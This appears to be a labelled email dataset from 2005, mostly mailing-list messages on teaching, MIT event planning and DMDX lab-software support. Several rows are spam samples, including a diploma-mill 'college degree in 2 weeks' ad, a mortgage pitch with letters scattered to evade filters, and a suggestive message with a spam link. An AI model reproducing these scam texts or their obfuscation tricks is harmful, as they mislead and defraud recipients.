Erhard Busek - SEEMO Award for Better Understanding in South East Europe 2005 The South East Europe Media Organisation (SEEMO) is pleased to announce the Dr. Erhard Busek - SEEMO 2005 Award for Better Understanding in South East Europe. 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If you know of anyone who would be a worthy recipient of the Dr. Erhard Busek - SEEMO Award for Better Understanding in South East Europe, please send a letter to SEEMO with basic details about the person you would like to nominate (along with a professional CV, describing why she / he should receive the award), as well as the contacts of the person you are nominating (media organisation, address, phone, fax, email). If your nomination is supported by an organisation / media outlet, please send us the name of the contact person supporting your nomination, as well as basic information about the organisation / media outlet. If your nomination is supported by other individual / individuals, please send us the necessary details and contacts of the other supporters. We also need your basic details and your contacts (address, phone, fax, email, mobile phone). Any additional material about the nominated person (such as TV reports on video or DVD, audio reports on cassette or CD, or articles in newspapers), if possible with a short English translation, are welcomed. Please send them with your nomination. Please send all to: SEEMO/IPI ""Busek Award"" Spiegelgasse 2/29 1010 Vienna, Austria Tel: +43 1 513 39 40 Fax: +43 1 512 90 15 E-mail: busekaward@seemo.org Material will not be returned, so please always send copies of documents, CVs, reports, articles, videos, audiotapes, DVDs or CDs. The application deadline for the Dr. Erhard Busek - SEEMO Award for Better Understanding in South East Europe is: 1 May 2005 ********** For any further information, please contact Kristina Benkotic, SEEMO Assistant. SEEMO - IPI, Spiegelgasse 2/29, 1010 Vienna, Austria, Tel (SEEMO + HELP LINE): +43 1 513 39 40, Tel (SEEMO): +43 1 512 90 11 11, Fax: +43 1 512 90 15, E-mail: info@seemo.org, Web: http://www.seemo.org SEEMO is a regional network of editors, media executives and leading journalists in South East Europe.",1,1 Daita Domnica Ciobanu ,"romania_list@columbia.edu, romanianclub@columbia.edu","Fri, 25 Feb 2005 16:50:10 -0500",tv show tomorrow noght,"---------- Forwarded message ---------- From: Sinziana Demian Dear everyone, 48 Hours tomorrow night (Saturday, February 26th) will broadcast a one-hour show about sex trade in Eastern Europe/Romania. I have worked on it as researcher, translator, fixer, and occasionally, as production assistant. It will air at 10 p.m. ET -- unless bad news comes out of the Vatican, in which case you will see a 'Dan Rather special' instead. I know it's short notice, but I hope you'll have a chance to watch. Sinziana Daita's webpage",0,1 Julie Goode ,AP Computer Science ,"Sat, 26 Feb 2005 11:47:11 -0800",[ap-compsci] Re: Attracting anyone to CS,"Everything Michael said is correct. It is so aggravating to be a Math teacher and the department forces you to teach to the test. It is extraordinarily sad. I say that I work in the calculator department, not the Math department. I am currently switching schools to find one who will let me truly teach Math. We are all disservicing the students but it is coming down from on high. What can we do? --- Michael Lee wrote: > There have been a lot of comments about the original > post about women on > the list. However, they have all swerved away from > the original, my own > included. > > Basically, we are dumbing down ALL curricula to fit > a less qualified > student. Almost, a brief quantifier, ALL of our > schools in the USA, > Higher Ed included, have down graded the rigor of > their programs in favor > of having more students (hence more money). Instead > of having many > qualified push broom operators, and a few qualified > engineers, the USA has > an overabundance of overqualified Latte Makers. > Before the Professors out > there get angry at some small town math teacher, > think this over... > > A very good friend teaches at Carnegie Mellon U., > one of the most > prestigious CS schools around. He teaches Grad > level security courses. > He had a Student. The student did NOTHING, I saw > the papers, and lack > thereof. Since Daddy donated heavily, my friend was > TOLD to pass the > Student. He refused, thank God for tenure, and the > Dept. passed the > student. Has this scenario happened elsewhere? > > Also, think about NCLB. We don't teach math at my > school, we teach how to > pass the PSSA (PA's Standard test). Before you yell > at the district and > my colleagues, think about what is happening at your > local schools and the > above example. For any school to survive it needs > money. Public schools > now rely on test scores, so we strive to get good > test scores (it ain't > right, but ya gotta do what'cha gotta do). > Universities rely on grants, > so they try to make the givers happy. Our goal used > to be providing > trained people for the work force. Now it's to stay > in business. What > happened? > > Michael Lee > Algebra Advocate and Calculator Crusher > > --- > You are currently subscribed to ap-compsci as: > saladocs@yahoo.com > > To unsubscribe send a blank email to > leave-ap-compsci@lyris.collegeboard.com > > To update your preferences, search the archives or > post messages online, visit > http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci > > If you need help using Lyris web interface go to: > http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html > > Visit AP Central(tm) - The online resource for > teachers, schools, colleges, and education > professionals-- http://apcentral.collegeboard.com > > The College Board > 45 Columbus Avenue > New York, NY 10023-6992 > __________________________________ Do you Yahoo!? Yahoo! Mail - 250MB free storage. Do more. Manage less. http://info.mail.yahoo.com/mail_250 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Sun, 27 Feb 2005 08:35:26 -0700",Workshop in Nice on Automatic Differentiation,"Forwarding, from NA Digest ********************************************* From: Laurent Hascoet Date: Mon, 21 Feb 2005 10:06:27 +0100 Subject: Workshop in Nice on Automatic Differentiation First European Workshop on Automatic Differentiation http://www-sop.inria.fr/tropics/adNice2005/ April 14-15, 2005 Maison du Seminaire, 29, boulevard Franck Pilatte, Nice, France This 2-day workshop replaces the UK Automatic Differentiation Workshops, which took place twice a year at Cranfield University (Shrivenham) and the University of Hertfordshire. These workshops provide a forum for the presentation of theoretical developments in and applications of Automatic Differentiation (AD) and adjoint methods. The workshop is informal and presentations on subjects such as work in progress, problem areas for AD, or possible application areas, as well as completed work are welcome. We particularly encourage PhD students and those new to the field to attend and present their work. This workshop will put some emphasis on development of AD tools and perhaps other topics to be announced later. Confirmed speakers include: Shaun Forth - ""Developments in the MAD package"" Andreas Griewank - Title to be confirmed Mohamed Tadjoudine - ""Differentiating a time-dependent CFD solver"" Jean Utke - ""Automatic checkpoints and adaptive reversal schemes"" Local Organiser: Laurent Hascoet - INRIA Co-organisers: Bruce Christianson - University of Hertfordshire Shaun Forth - Cranfield University Martin Bucker - RWTH Aachen Administration: Dany Sergeant Fax: +33 492 38 79 55 Please visit our web-page http://www-sop.inria.fr/tropics/adNice2005/ for further details.",0,1 Rob Radez ,Joanna Tong ,"Mon, 28 Feb 2005 10:13:07 -0500",Re: CryoFac 2005,"On Thu, Feb 24, 2005 at 08:49:37PM -0500, Joanna Tong wrote: > Cryofac! I'd like to help, how can I? Hi Jo, Right now we mostly just need to get people lined up to help out over CPW (things like mixing stuff in a kitchen, mixing stuff in front of the pre-frosh, serving ice cream, cleaning, setup during the day, buying stuff right beforehand). We're kind of in a hell of meetings at this point, trying to get stuff organized and funded, so there's not all that much to do until we get closer to April. At any rate, I've added you to the cryofac mailing list so you should see updates as they come in. Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,cryofac@mit.edu,"Mon, 28 Feb 2005 10:15:12 -0500",cryofac things to look into,"anyone want to start looking into: a) gloves b) hoses to go from dewar to pot c) spoons rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Emily M Levesque ,Rob Radez ,"Mon, 28 Feb 2005 10:59:14 -0500",Re: cryofac things to look into," I volunteered back at the meeting to be in charge of small-stuff-acquisition. I'm already on the gloves, and I'll check out spoons as well. If you can get me the old list of equipment, I'll see what else I can take care of. The old list of ingredients will obviously vary a little, but it also can't really be bought ahead of time. Where does one GET dewar hoses? And do we have any? ~Em On Mon, 2005-02-28 at 10:15, Rob Radez wrote: > anyone want to start looking into: > a) gloves > b) hoses to go from dewar to pot > c) spoons > > rob ",0,0 Chandler Hatton ,Emily M Levesque ,"Mon, 28 Feb 2005 11:10:13 -0500",Re: cryofac things to look into,"I've got all the scoops (5) and wooden spoons (10) from last year, so we don't need to worry about that. Chandler Quoting Emily M Levesque : > I volunteered back at the meeting to be in charge of > small-stuff-acquisition. I'm already on the gloves, and I'll check out > spoons as well. If you can get me the old list of equipment, I'll see > what else I can take care of. The old list of ingredients will obviously > vary a little, but it also can't really be bought ahead of time. > Where does one GET dewar hoses? And do we have any? > ~Em > > On Mon, 2005-02-28 at 10:15, Rob Radez wrote: > > anyone want to start looking into: > > a) gloves > > b) hoses to go from dewar to pot > > c) spoons > > > > rob >",0,0 Marti F Bolivar ,Emily M Levesque ,"Mon, 28 Feb 2005 11:57:42 -0500",Re: cryofac things to look into,"equipment and other stuff: athena% cd ~putz/cryofac/2003/ athena% less 2003-list -marti On Mon, 28 Feb 2005, Emily M Levesque wrote: > I volunteered back at the meeting to be in charge of > small-stuff-acquisition. I'm already on the gloves, and I'll check out > spoons as well. If you can get me the old list of equipment, I'll see > what else I can take care of. The old list of ingredients will obviously > vary a little, but it also can't really be bought ahead of time. > Where does one GET dewar hoses? And do we have any? > ~Em > ",0,0 Robin ,Cheuncey ,"Tue, 01 Mar 2005 00:14:46 +1100",You free,"Hey Cheuncey, Just heard, ur significant other's still nagged about u in the bedroom. I feel for you, it's just not right. Lucky for us, areas like this are why there's, http://www.ehardyouseandit.com/k10/. saw a ever. Alexanders taint of huge army, Darius and his army ran. With the victory death pg41. at NA 2224 Issus Alexander controlled Asia Minor Stewart 63-64. In 332 Robin ",1,1 Scott Johnston ,cryofac@mit.edu,"Mon, 28 Feb 2005 13:38:35 -0500",Re: cryofac things to look into,"On Mon, Feb 28, 2005 at 10:59:14AM -0500, Emily M Levesque wrote: > Where does one GET dewar hoses? And do we have any? There should be one kept attached to the small putz dewar. Otherwise, you can buy them from McMaster-Carr (or to get extra ripped-off, VWR Scientific) for $50 to $100. I can help you find the right part number if you need it -- but if my memory serves me right it's 316 stainless with 1/2"" female SAE flare fittings. Scott ",0,0 Garland ,c0axels@striker.ottawa.on.ca,"Tue, 22 Feb 2005 18:41:03 -0800",Got passed up again?,"Genuine College Degree in 2 Weeks! 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I work at a private school and am permitted to teach what I believe we should be teaching regarding computer technology. I currently have a dual-enrollment, partnership program with a local community college where I teach 1 of their classes - CIS 105 - but I teach it on my high school campus for my juniors and seniors only. Upon payment of the college tuition and successful completion of this course they receive 3 college credits. It's a one semester class at the college and it's a one semester class at my high school. I'm currently pursuing a similar dual-enrollment program regarding JAVA. And I'm pursuing this relationship at a state university rather than the junior college. It too would be a one semester class at both locations. The ""Subject"" line asks why aren't more attracted to computer science, well perhaps it's the pedagogy implemented that drives many off. Let's offer classes that are directly applicable to the colleges and universities if not the exact classes as I've described. Let's offer those classes in a time frame that is also directly correlated to colleges and universities - 1 semester. Let's offer classes that entice many to computer science and not just programming. I suggest the following to do just that - entice students to pursue computer science. I downloaded the following Computer Science program of study from a state university - it includes many topics. http://www.eas.asu.edu/%7Ecsedept/courses/index.php#cse100 I broke down the preceding program into 4 core topics that I'm researching in order to develop my future Honors CS class: 1. Programming - HTML - VB - Java 2. Internet - Macromedia Studio MX - Digital photography, video, webcam - Animation - Website, Intranet development 3. CAD - Bentley PowerDraft - 2D & 3D designs - Residential architecture 4. OS & NOS - 2000, 2003, XP - Server, Desktop - A+, Network architecture, client-server, security, wireless This, in my opinion, would be a program of study that entices students to pursue Computer Science. My goal is to offer high school students a choice from a wide array of technical topics in the attempt to challenge some to pursue technology as one of the most fun and satisfying life choices one could make for a profession. I'm currently taking the necessary steps so that ""soon"" I'll be offering: 1. Introduction to CIS - foundational class 2. Introduction to CS - prerequisite is #1 All following must have #1 & #2 as the prerequisite. 3. AP CS A & AB - hopefully 1 semester each 4. Honors CS - as described immediately above - 5.0 high school course work 5. College Java - CSE 110 - for college credit 6. College CIS - CIS 105 - for college credit 7. Advanced Technical Support As a side note: some links to material 1. ACM/CSTA http://csta.acm.org/Curriculum/sub/ACMK12CSModel.html 2. Arizona State University http://www.eas.asu.edu/%7Ecsedept/courses/index.php 3. Arizona Department of Education http://www.ade.az.gov/standards/technology/default.asp 4. National Education Technology Plan http://www.nationaledtechplan.org/background.asp Joe ******** -----Original Message----- From: Julie Goode [mailto:saladocs@yahoo.com] ... I am currently switching schools to find one who will let me truly teach Math. We are all disservicing the students but it is coming down from on high. What can we do? --- Michael Lee wrote: Basically, we are dumbing down ALL curricula to fit a less qualified student. Almost, a brief quantifier, ALL of our schools in the USA, Higher Ed included, have down graded the rigor of their programs in favor of having more students (hence more money). Our goal used to be providing trained people for the work force. Now it's to stay in business. What happened? > > Michael Lee > Algebra Advocate and Calculator Crusher --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992",0,1 Paul SooHoo ,AP Computer Science ,"Sun, 27 Feb 2005 15:24:46 -0500",[ap-compsci] Re: attracting anyone to high school," See story below which generalizes the thread to high school education=20 not CS. Of course I'm sure Bill realizes his solution of smaller=20 schools would get the support of every current teacher and the=20 disapproval of every home owner whose school tax would sky rocket. What is not obsolete but out of vogue are parents taking a real=20 interest in developing and supporting their children through the=20 education process. If you want to see a marked improvement in=20 educational progress that costs almost thing have parents readjust=20 their priorities by taking an active interest in their kids education. =20= Note this does not mean doing you kids homework but rather making sure=20= your kids are home on school nights and are actually doing something=20 with their brain and bodies besides being zoned out on cable TV, the=20 Internet, or video games. WASHINGTON =96 Microsoft founder Bill Gates called American high schools=20= =93obsolete=94 Saturday as he addressed the nation=92s governors and = others=20 gathered for a national education summit. =93Our high schools, even were they to work as designed, cannot teach=20= our students all they need to know today,=94 the self-made software=20 billionaire said. Gates has donated almost $1 billion to support the redesign of 1,500=20= high schools, including McKinley High School in Canton into what he=20 believes will be more effective learning institutions. McKinley is=20 being reorganized into five smaller schools within the same facility. The two-day summit, which continues Sunday, has drawn more than 150=20 participants, including governors, education officials and business=20 executives. They say their purpose is to find ways to strengthen and=20 update the high school curriculum, align it with the requirements of=20 college and the workplace, and reduce the dropout rate. =93We need to ensure that the standards and the tests and the=20 course-taking requirements for earning a high school diploma really=20 reflect the real world demands of college and our economy,=94 said Ohio=20= Gov. Bob Taft, a leading figure in education reform among the=20 governors. Taft lauded Gates=92 financial support for high school redesign, which=20= is helping pay for the reorganization of 17 high schools in Ohio, as=20 well as three more yet to be named. Addressing the summit, Gates echoed the theme that students in the=20 United States are falling behind their counterparts abroad. He said=20 high schools must provide a more rigorous education to all students,=20 including the poor and minorities. Just one-third of high school graduates go to college, he said. =93The=20= other two-thirds, most of them low income and minorities, are tracked=20 into courses that won=92t ever get them ready for college or prepare = them=20 for family-wage jobs.=94 As an alternative to the obsolescence he criticized, Gates trumpeted=20= the virtues of smaller schools. He said the building blocks of high school improvement are the new=20 =93three Rs=94 =96 rigor, relevance and relationships. Gates said a more rigorous curriculum, relevant subject matter and a=20= better relationship between teachers and students would improve=20 education. =93The three Rs are almost always easier to promote in smaller high=20 schools,=94 he said. =93The smaller size gives teachers and staff the=20 opportunity to create an environment where students achieve at a higher=20= level and rarely fall through the cracks. Students in smaller schools=20 are more motivated, they have higher attendance rates, they feel=20 safer.=94 Gates=92 speech drew applause from many, including Susan Tave Zelman,=20= superintendent of public instruction in Ohio. =93I thought it was great,=94 she said. She also said she agrees that = the=20 current high school model is obsolete. But Zelman added that changing=20 high school structure alone is not enough. =93What you have to do is improve the quality of teaching and learning=20= in that classroom,=94 she said, after participating in a roundtable=20 discussion moderated by Taft. =93The curriculum must be challenging and=20= rigorous.=94 Asked how high school redesign is going in Ohio, she said, =93It=92s = very=20 hard to take large and impersonal high schools and break them down into=20= smaller learning communities. ... We want to work in partnership ... to=20= make sure their teachers have the skills they need to teach to the=20 rigorous academic content standards.=94= --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Guntram Garver ,DMDX@psy1.psych.arizona.edu,"Wed, 02 Mar 2005 00:02:50 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! 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C3PO stands for C ategory 3 (III/Three) P articipation O pportunity Also known as BONUS MOMENT Let's cut to the chase. I am not a big Star Wars buff, and I am sure you do not want to hear one of my story moments (good thing I don't have any to share). I am simply unsatisfied with student email CTR's. For those of you who asked, I have short weekends and enjoy the sunshine and warm weather. :) So what must you do to earn automatic 10/10 points towards Category III Participation? You will need to do the following (for all or nothing points): * Email me at jwoon@u.washington.edu (DO NOT reply to the class list or all points will be forfeited) * Create a dynamic subject line that answers the ""What is this?"" question (make sure I know this is a C3PO fulfillment) * Use your CTR and audience analysis skills (and other Top of the Stack Skills) to write at the 4/5 and 5/5 level-*IMPORTANT* * Request that I award you 10/10 Category III Participation Points * Indicate whether Mary can use your CTR example on the web, in class, or in forthcoming texts * Submit your C3PO moment no later than Monday, March 14 at Noon (1 hour grace period allowed) * Include any other positive comments about the course, assignments, grading, TA staff, etc. (Consider your tone and the hidden audience.) This C3PO gives you one last chance to enhance your CTR skills. You will need to research and connect to yours truly (ME!) in your email. To learn more about me, use the following sources: -Internet -thefacebook.com -UW website(s) -My Personal Website -Email Conversations -Mary [Note: I expect you to find out more about me than my major - which can be found in my electronic signature] Please email me at jwoon@u.washington.edu with any questions about this C3PO. I am happy to clarify. Thank you for your hard work during the quarter and patience with grading. Warm Regards, Jason PS May the Force be with you when writing your Self-Assessment Memo PSS Look for an electronic receipt if you successfully ""lock on"" and complete this task VIA ----------------------------------------------------------------------- Mary McGough, Lecturer UW Business School Marketing & Intl Business Box 353200 mcgough@u.washington.edu Seattle, WA 98195-3200 206.634.1910 (home) Take Time for a MOCHA MOMENT ----------------------------------------------------------------------- ",0,0 Jakub Szewczyk ,DMDX@psy1.psych.arizona.edu,"Sat, 05 Mar 2005 16:00:39 +0100",[DMDX] timing problem,"Hello, After finding solution to my PIO card problems I managed to configure set for measuring ERPs. But during analysis of the first data file, I've found DMDX is doing very strange things with timing. I use keyword for enforcing delay. In the following code, I've put into square brackets real timings measured as triggers by ERP gathering program - the time since the previous trigger. 0 ""Press space to begin.""; -197 / ""+"" / [450] / [360] ""word1"" / [270] / [180]""word2"" / / [287] ""word3"" / / [450] ""word4"" / * ""???"" / !; so the timings are very strange. this is a test procedure, in the real one I have used the following sequence: .. / / ""word1"" / / ""word2"" / ... so the delay should be always around 500, and the triggers appeared always in 450 ms delay, so it was not random. It seems the words appear on the screen in the same time as the triggers were gathered on another computer, so it can't be an I/O problem. I know it, since ERPs for successive words look similiar, and are not phase shifted (as it would be if the triggers were shifted in relation to words). I fear I'm making a very simple mistake, but I can't figure it out. can you figure anything out of it? thanks, Jakub.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 05 Mar 2005 17:29:19 -0700",[DMDX] Re: timing problem,"At 04:00 PM 3/5/2005 +0100, you wrote: >Hello, > > After finding solution to my PIO card problems I managed to configure set >for measuring ERPs. But during analysis of the first data file, I've found >DMDX is doing very strange things with timing. > >I use keyword for enforcing delay. is provided for people that don't care about accurate timing, DMDX calculates how many retrace intervals are guaranteed to be longer than the parameter to . Use whole retrace intervals with instead. Millisecond timing in DMDX is generally not possible (there are exceptions, is one of them, is another), most things are specified in retrace intervals. > In the following code, I've put >into square brackets real timings measured as triggers by ERP gathering >program - the time since the previous trigger. > > > > > > > is also not guaranteed, it's simply a command to move to the next item as quickly as possible. I recommend for fast machines and for older machines. Note, it's in retrace intervals, not milliseconds. > > > > Shift> > > > >0 ""Press space to begin.""; > > >-197 / ""+"" / [450] / > [360] ""word1"" / [270] / > [180]""word2"" / / [287] ""word3"" / > / [450] ""word4"" / * ""???"" / !; > > >so the timings are very strange. Your value of the retrace interval of the video mode you are using may not not accurate and there may be timing errors that are forcing to DMDX to do it's best to get things right. You need to read the advanced timing documentation in TimeDX and see that you've got good values for the retrace interval. Often I find setting the Read Between Flips to Stop Cheating Drivers in TimeDX's Refresh Rate test clears a lot of these problems up. Beyond that you need to make sure there are no worms or viruses or spyware on the machine as they bork things right up. > this is a test procedure, in the real one I >have used the following sequence: . / / ""word1"" >/ / ""word2"" / ... >so the delay should be always around 500, and the triggers appeared >always in 450 ms delay, so it was not random. > > >It seems the words appear on the screen in the same time as the triggers >were gathered on another computer, so it can't be an I/O problem. I know it, >since ERPs for successive words look similiar, and are not phase shifted (as >it would be if the triggers were shifted in relation to words). The triggers will be appearing with the words, the timing of the words however is another matter. >I fear I'm making a very simple mistake, but I can't figure it out. Would that DMDX was simple, but then you wouldn't be able to do a fifth of the things that are possible with it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Reality is just a convenient measure of complexity. - Alvy Ray Smith",0,0 Jakub Szewczyk ,DMDX@psy1.psych.arizona.edu,"Sun, 06 Mar 2005 12:14:11 +0100",[DMDX] Re: timing problem,"On Sat, 5 Mar 2005, j.c.f. wrote: > At 04:00 PM 3/5/2005 +0100, you wrote: > >> Hello, >> >> After finding solution to my PIO card problems I managed to configure >> set >> for measuring ERPs. But during analysis of the first data file, I've found >> DMDX is doing very strange things with timing. >> >> I use keyword for enforcing delay. > > is provided for people that don't care about accurate timing, DMDX > calculates how many retrace intervals are guaranteed to be longer than the > parameter to . Use whole retrace intervals with instead. > Millisecond timing in DMDX is generally not possible (there are exceptions, > is one of them, is another), most things are > specified in retrace intervals. Thanks for compehensive answer! I knew the thing, but I didn't expect it to give so stable and so big differences ( -> 450ms; _always_), given that the refresh rate is always <= 17ms. Jakub",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 06 Mar 2005 07:28:51 -0700",[DMDX] Re: timing problem,"At 12:14 PM 3/6/2005 +0100, you wrote: >I knew the thing, but I didn't expect it to give so stable and so big >differences ( -> 450ms; _always_), given that the refresh rate is >always <= 17ms. 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My question is: is there any method that I can display both the stimuli (from dmdx) and the readings from powerlab (a small window showing the strength of handgrip) to the participant via the same monitor? so that the participants are informed when to squeeze the handgrip and how hard they squeezed it. many thanks, savio ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Mar 2005 10:11:45 -0700",[DMDX] Analyze 2.06," There's a new version of Analyze, 2.06, in the DMDXUTILS zip file: When the .spc file specifies both an SD cutoff and an absolute cutoff, it makes a difference which is applied first. Version 2.04 of ANALYZE calculated and applied the SD cutoffs first and then applied the absolute cutoffs. This has the disadvantage that extreme outliers will affect the SD cutoffs. It makes more sense to first rule out extreme outliers using absolute cutoffs, and then calculate and apply the SD cutoffs. This is the procedure followed in version 2.06 of ANALYZE. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't force it, just get a larger hammer. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Mar 2005 10:23:07 -0700",[DMDX] Re: Display DMDX and powerlab window simultaneously,"At 12:43 AM 3/8/2005 +0800, you wrote: >Hi All, > >May I ask you a question? I am going to carry out a handgrip study which >I would like to use DMDX to present the stimuli to the participants and >to use powerlab to record the strength of the handgrip applied by the >participants. My question is: is there any method that I can display >both the stimuli (from dmdx) and the readings from powerlab (a small >window showing the strength of handgrip) to the participant via the same >monitor? so that the participants are informed when to squeeze the >handgrip and how hard they squeezed it. Without two displays, no. With a second display you can easily start the power grip program first, move it onto the second display and as long as you don't need to interact with it DMDX can run on the primary display. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't force it, just get a larger hammer. ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Mon, 07 Mar 2005 14:34:32 -0500",[DMDX] Re: Analyze 2.06,"Jonathan, Thanks for doing that. It makes a lot of sense to me. Thanks for everything. Best, Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> jforster@psy1.psych.arizona.edu 03/07/05 12:11 pm >>> There's a new version of Analyze, 2.06, in the DMDXUTILS zip file: When the .spc file specifies both an SD cutoff and an absolute cutoff, it makes a difference which is applied first. Version 2.04 of ANALYZE calculated and applied the SD cutoffs first and then applied the absolute cutoffs. This has the disadvantage that extreme outliers will affect the SD cutoffs. It makes more sense to first rule out extreme outliers using absolute cutoffs, and then calculate and apply the SD cutoffs. This is the procedure followed in version 2.06 of ANALYZE. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't force it, just get a larger hammer. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 saviow@graduate.hku.hk,DMDX@psy1.psych.arizona.edu,"Tue, 08 Mar 2005 04:36:30 +0800",[DMDX] Re: Display DMDX and powerlab window simultaneously,"Hi Jonathan, Thanks for your suggestion. Indeed, this is an fMRI experiment which makes it difficult to have second display. Is it possible to run DMDX within a window (not fullscreen)? many thanks, savio Quoting ""Jonathan C. Forster"" : > At 12:43 AM 3/8/2005 +0800, you wrote: > >Hi All, > > > >May I ask you a question? I am going to carry out a handgrip study which > >I would like to use DMDX to present the stimuli to the participants and > >to use powerlab to record the strength of the handgrip applied by the > >participants. My question is: is there any method that I can display > >both the stimuli (from dmdx) and the readings from powerlab (a small > >window showing the strength of handgrip) to the participant via the same > >monitor? so that the participants are informed when to squeeze the > >handgrip and how hard they squeezed it. > > Without two displays, no. With a second display you can easily start > the power grip program first, move it onto the second display and as long > as you don't need to interact with it DMDX can run on the primary display. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Don't force it, just get a larger hammer. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Mar 2005 14:43:04 -0700",[DMDX] Re: Display DMDX and powerlab window simultaneously,"At 04:36 AM 3/8/2005 +0800, you wrote: >Hi Jonathan, > >Thanks for your suggestion. Indeed, this is an fMRI experiment which makes it >difficult to have second display. Is it possible to run DMDX within a window >(not fullscreen)? I belive that would be covered by the ""Without two displays, no."" /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't force it, just get a larger hammer. ",0,0 s-livingston@tamu.edu,jpn@tamu.edu,"Mon, 07 Mar 2005 16:30:44 -0500",NYTimes.com: The Little Guys Are O.K.,"This page was sent to you by: s-livingston@tamu.edu. OPINION | March 7, 2005 Op-Ed Contributor: The Little Guys Are O.K. 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Gerhard Linss Postfach 10 05 65 D-98684 Ilmenau Germany Phone: +49 36 77 693822 Fax: +49 36 77 693823 Email: imeko2005@tu-ilmenau.de Web: http://www.imeko2005.de ------------- End Forwarded Message -------------",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Mar 2005 09:58:48 -0700",[DMDX] Re: multiple keys feedback,"At 03:10 PM 3/10/2005 +0000, you wrote: >Hi all, >I?m writing to the mailing list because I am stuck with my dmdx code (forgive >me, I?m a beginner). I need to enable 4 different response keys (1,2,3,4) >and I need for each item to obtain a feedback on the response, e.g. if in >item 1 the correct response is 4, and the participant press 4 I would like >a positive feedback, if instead, he/she presses 1 or 2 or 3, I would like >a negative feedback >I wrote this bit of code, but it doesn?t work > > ""+3""> 1024, 16, 75> >$ >0 ""Remember 1 = object A, 2 = object B, 3 = object C, 4 = object D""; >0 ""Press the spacebar to begin""; >$ >+1 ""++""/ / * > ""targetA.avi.avi""/ / ; > >the same here > >+2 ""++""/ / * > ""targetB.avi.avi""/ / ; If you want feedback you don't want it turned off with . And you probably want to map +4 in your items too... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't force it, just get a larger hammer.",0,0 Annalisa Setti ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Mar 2005 17:29:23 +0000",[DMDX] RE: Re: multiple keys feedback,"That?s great, as simple as that! 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Ideally I'd like the computer >to emit a tone for a predetermined length of time (e.g. 4, 8, & 12 secs), >and for the participant to reproduce that same tone (equal in pitch - it >would just be the duration they have control of) by pressing a button on >the keyboard or some other input device such as a joystick. The tone >would be produced until they release the button. The data would then >hopefully be stored in terms of millisecond/seconds. So they would hear a >tone and then try to match the duration with a tone produced by them. Is >that the sort of thing DMDX can do, and if so, how do I do it? I guess you could try using the abort item key. You'd want to set it to the release of a key, say -A, so that as the tone is playing them releasing the key would abort that item and stop the sound from playing. You'd want to have two item pairs, first item would present the tone that the duration has to be matched and wait for a request. You'd want to map the request to +A, have as low a delay parameter as you can (will depend on the machine but if you use the media life keyword on your sounds you should be able to get it down to one or two ticks) and the second item will start playing a really long tone and be aborted when they release the A key. You can map -A 